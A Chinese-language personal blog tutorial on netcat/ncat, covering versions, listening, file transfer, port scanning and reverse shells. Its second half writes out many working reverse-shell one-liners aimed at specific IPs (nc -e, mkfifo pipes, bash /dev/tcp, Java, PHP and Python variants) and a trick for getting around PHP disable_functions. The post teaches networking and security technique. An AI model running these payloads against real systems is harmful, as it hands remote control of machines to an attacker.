nc命令学习及反弹shell细节

Sl0th Lv4

nc命令学习及反弹shell细节

机器名称 IP地址 操作系统
root@Decemberus 114.223.4.218 Centos7
root@Sloth 124.223.207.184 Centos7
🥣 内网 Mac os

nc命令使用

版本

  • netcat-traditional:Kali Linux 默认带的就是这个版本,这个版本的 nc 具有-e选项,十分方便反弹 shell 使用

  • netcat-openbsd:ubuntu 里默认的 nc 命令指向的是netcat-openbsd。这个版本因为考虑到安全性等原因没有-e选项。

  • ncat:CentOS、Red Hat 默认带的是 ncat。目前ncat已经集成到了 nmap 里面,安装完 nmap 后就可以使用ncat命令了

mac上自带nc命令指向的是ncat,linux上nc与ncat没什么区别,mac上最好用ncat,options比较全

前提条件及注意事项

  • 只能nc拥有公网ip的机器,或是在同一局域网下的内网机器(可以nc内网ip)

  • 获取本机公网ip

    1
    curl ifconfig.me 
  • 端口放行:如果是购买了腾讯云服务,要在控制台和宝塔面板同时放行端口(用于TCP连接)

    image-20220926010406603
    image-20220926010406603

  • 需要vps先监听,目标服务器再nc vps,直接nc只能通过udp连接,tcp连接显示拒绝(如果是端口未放行会显示连接超时)

    image-20220926005629905
    image-20220926005629905

    image-20220926005900622
    image-20220926005900622

    1
    2
    3
    #未放行端口
    [root@Decemberus ~]# nc 124.223.207.184 3345
    Ncat: Connection timed out.

文字交互

-l:使用监听模式,监控传入的信息

1
nc -l 3344 # 监听3344端口

image-20220926004654073
image-20220926004654073

只是简单的文字交互,相当于聊天工具,对数据编码没有要求,但无法执行系统命令

命令交互

-e:将传入的信息以命令执行

/bin/bash通过 3344 端口来监听,将收到的信息都发送到/bin/bash

1
ncat -l -e /bin/bash 3344

/bin/bash是shell解释器,根据目标机器,也可以使用/bin/sh/bin/zsh

访问端可以通过nc该系统的2333端口,输入端指令会传入该系统的/bin/bash 执行成功后会返回信息,类似于ssh操作连接来该系统一样

持久监听

-k: 客户端断掉连接时,服务端依然保持运行
-v:现实指令执行过程细节

1
ncat -lvk -e  /bin/bash 2333

客户端使用CTRL + cCTRL + d断开连接的时候,监听端的 ncat 依然在运行,这样方便客户端下次直接 nc 连进来

文件传输

上传文件到远程

root@Sloth远程服务器运行:

1
ncat -l 3344 > hello.txt

macOS 本地运行:

1
ncat 124.223.207.184 3344 < hello.txt

image-20220926011113841
image-20220926011113841

此时会将 macOS 的文件传输到远程的 CentOS 服务器上,传输完成后,两个 ncat 会话都将终止。

从远程下载文件

root@Sloth远程服务器运行:

1
ncat -l 3344 < hello.txt 

macOS 本地运行:

1
ncat 124.223.207.184 3344 > hello.txt

image-20220926011518092
image-20220926011518092

这里文件传输完成后不会显示任何内容,并且两个 Ncat 实例将继续工作(但不能文字和命令交互)

端口扫描

ncat 不支持端口范围扫描,但是原始的 nc (mac上可以用brew装netcat)可以扫描端口

  • 范围扫描

    image-20220926012145161
    image-20220926012145161

    -n: 直接使用ip地址,而不通过域名服务器
    -z: 使用0输入/输出模式%,只在扫描通信端口时使用

  • 单个扫描

    image-20220926012300304
    image-20220926012300304

vps nc本机失败可能原因

  • 本机未监听,tcp连接要让本机先在对应端口监听才能建立,而udp不用,这种情况下一般回显

    1
    Ncat: Connection refused.

    如果使用原始nc,则表现为没有回显,命令直接结束

  • 端口未放行:一般回显表现为

    1
    2
    3
    Ncat: TIMEOUT.

    Ncat: Connection timed out.

    如果使用原始nc则是等待较长时间,命令结束,没有回显

  • 使用的本机ip不是公网ip

  • 经测试,可能是因为端口未放行,这可能需要配置路由器的防火墙

常见options

1
2
3
4
5
6
7
-l 启动监听
-p<端口号> 表示指定端口
-v 显示指令执行过程
-u udp连接
-n 直接使用ip地址,不用域名解析
-w<超时秒数> 设置等待连线的时间
-z 使用0输入/输出模式,只在扫描通信端口时使用

反弹Shell

原理

vps监听某个端口,被控制端发起请求到该端口,并将命令行的输入输出传到控制端

内网弹shell

ncat的-e 经过简单调整,可以让vps与内网机器进行命令交互

root@Sloth先监听

1
ncat -lvp 3344

内网的 macOS 运行

1
ncat -w 10 -e /bin/bash 124.221.124.106 3344

Linux

1
nc  124.221.124.106 3344 -e /bin/sh

image-20220926013811064
image-20220926013811064

如果目标主机linux发行版本没有 -e 参数,还有以下几种方式:

1
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc x.x.x.x 2333 >/tmp/f

image-20220927000457356
image-20220927000457356

  • rm /tmp/f 删除命令
  • mkfifo /tmp/f; 在tmp目录下写fifo文件f
  • /bin/bash -i 2>&1 将/bin/bash 的标准错误重定向到标准输出
  • nc x.x.x.x 2333 >/tmp/f将nc监听到的输入 输入到fifo
  • cat /tmp/f 将执行结果回显

bash弹shell

这也是常用的反弹shell payload

⚠️注意:java命令执行时,会根据空格分割参数。因此最好不要直接传类似下面第二条这种

1
2
3
4
5
bash -i >& /dev/tcp/124.221.124.106/3344 0>&1
bash -c "bash -i &> /dev/tcp/124.221.124.106/3344 0>&1" #适用sh
#适配java的
String[] s = {"bash","-c","'bash -i &> /dev/tcp/124.221.124.106/3344 0>&1'"};
Runtime.getRuntime().exec(s);

image-20220927204310944
image-20220927204310944

命令 参数解释
bash -i 产生一个 bash 交互环境
>& 将联合符号前面的内容与后面结合然后一起重定向给后者
/dev/tcp/10.211.55.4/2333 打开/dev/tcp这个文件就类似于发出了一个socket调用,建立一个socket连接,后面跟目标ip和目标端口
0>&1 使得攻击方可以看到输入到命令以及执行结果
  • 其实/dev/tcp在根目录下并不存在,之所以能在命令中使用,是因为bash源码对其做了相关预定义

    image-20220926171832801
    image-20220926171832801

  • 如果攻击目标是mac os系统,使用内网弹shell的payload可以成功,bash弹shell的payload可能失败

    • 原因:现在的mac都已经使用zsh作为默认shell,而zsh并没有对/dev/tcp做相关处理,执行payload会回显

      1
      zsh: no such file or directory: /proc/net/tcp/110.42.158.239/2333
    • 如果要使用bash弹shell要先切换当前使用shell,可以sudo su输入当前用户密码切换到root用户,默认使用sh

      image-20220926172537373
      image-20220926172537373

    • 或者更改shell为bash

      1
      chsh -s /bin/bash

其他形式

1
2
3
exec 5<>/dev/tcp/x.x.x.x/4444;cat <&5 | while read line; do $line 2>&5 >&5; done

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 124.221.124.106 3344 > /tmp/f
  • 第一条命令 建立与x.x.x.x:4444的tcp连接,并将标准输入输出作为device 5的标准输入输出
  • 第二条cat <&5 获取device5的输入; while read line; do $line 2>&5 >&5 一旦获取到命令便运行 然后将标准输入输出以及标准错误输出到device5中

image-20220926224353002
image-20220926224353002

基于编程语言的反弹shell

1、基于PHP的反弹

1
php -r '$sock=fsockopen("ip",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

2、基于python反弹shell

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("ip",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

使用socket建立起tcp连接

os.dup2() 方法用于将一个文件描述符 fd 复制到另一个 fd2,这里将标准输入、标准输出、标准错误都集成到当前socket的文件描述符上,然后再产生一个 bash 交互环境

2、受到disable_functions影响,导致fsockopen或者exec不可用。
当监听端收不到连接就是fsockopen被禁用,又或者收到连接后又立马断开则是exec被禁用
解决方法:
php在命令行中执行时修改 php.ini 是立即生效的,因此我们直接重命名php.ini文件即可:

1
mv /etc/php.ini /etc/php.ini.bak

当然,文件位置并不是一定在这里。可以把常用位置都试一遍。当然了,实战中可千万不要这么搞,业务烂了就呜呜呜了。

参考博客:

  1. 反弹shell原理
  2. nc命令教程
  • 标题: nc命令学习及反弹shell细节
  • 作者: Sl0th
  • 创建于 : 2022-09-27 23:29:13
  • 更新于 : 2024-11-11 18:23:06
  • 链接: http://sl0th.top/2022/09/27/nc命令详解及反弹shell细节/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论